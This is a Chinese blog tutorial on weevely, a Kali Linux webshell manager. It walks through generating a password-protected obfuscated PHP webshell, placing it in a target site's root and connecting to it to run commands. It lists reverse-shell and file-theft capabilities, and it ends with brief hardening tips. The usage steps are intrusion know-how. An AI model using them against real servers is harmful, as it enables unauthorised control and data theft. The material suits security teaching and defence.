什么是webshell顾名思义,webshell是通过web实现的shell,即通过php、JSP、ASP.NET等网页编程语言执行命令,并通过HTTP进行请求、应答的非交互的命令行模拟shell 。使用webshell控制目标服务器是黑客常用的控制手段之一,接下来,我们来介绍Kali系统中自带的weevely工具 。
weevely工具介绍weevely是一个使用Python写的webshell管理工具,通过它黑客可以远程操控webshell,并在目标服务器上执行如执行命令、上下载文件等操作 。其功能很简单,没有太多的参数:
root@Server1:/usr/share/webshells# weevely -husage: weevely [-h] {terminal,session,generate} ...positional arguments:{terminal,session,generate}terminalRun terminal or command on the targetsessionRecover an existing sessiongenerateGenerate new agentoptional arguments:-h, --helpshow this help message and exitroot@Server1:/usr/share/webshells# root@Server1:/usr/share/webshells# weevely[+] weevely 4.0.1[!] Error: the following arguments are required: url, password[+] Run terminal or command on the targetweevely <URL> <password> [cmd][+] Recover an existing sessionweevely session <path> [cmd][+] Generate new agentweevely generate <password> <path>root@Server1:/usr/share/webshell
如何使用weevely1)首先使用weevely generate生成webshell.php,密码为Th1s@passw0rd,其内容是混淆过了的看起来乱七八糟的php代码:
文章插图
2) 把webshell.php放到目标网站的根目录下,并执行weevely
http://192.168.30.21/webshell.php Th1s@passw0rd 命令连接webshell.php:
文章插图
通过help命令,我们可以发现weevely支持好多常见的操作,包括:
- 执行操作系统命令或PHP代码 。
- 反弹TCP shell 。
- 数据库操作 。
- 文件打包、上传、下载、压缩、编辑、删除等文件系统操作 。
- 查看系统进程信息 。
- 挖掘简单的系统配置漏洞 。
- 代理、扫描、下载、发邮件等网络操作 。
文章插图
3)恢复历史session
可以使用weevely的session命令恢复之前添加webshell session:
文章插图
需要留意的是:如何防范webshell1)首先要确保网站代码没有漏洞,说这个有点多余了 。
1、使用Ctrl+c退出weevely shell 。
2、~/.weevely目录下保持了weevely的相关数据,如会话、历史命令、配置及日志等 。
2)使用低权限账号运行网站,并对网站代码文件的权限进行严格限制,确保运行账号没有权限写入webshell 。
3)限制服务账号的网络访问权限,避免黑客使用webshell反弹shell或攻击其他服务器 。
4)使用SElinux对底层中间件进行加固 。
5)其它没提到的许多防范手段......
【Kali工具大阅兵之weevely,看黑客如何通过webshell控制服务器】
推荐阅读
- 大佛龙井茶属于绿茶吗,怀孕可以吃龙井茶吗
- 茶树菇炒肉做法有哪些,茶树菇炒肉的做法大全
- 花生大枣猪蹄汤的做法
- 淘宝好评率多少才正常 淘宝店好评率影响大吗
- 顶谷大方是什么茶,大方茶中的上品顶谷大方茶
- 自考大专有哪些专业
- 大众汽车车型有哪些
- 淳安大方茶品质特点,淳安大方茶功效与作用
- 茶的功效与作用禁忌,胖大海的禁忌与功效作用
- 上海人最爱的十大零食是什么?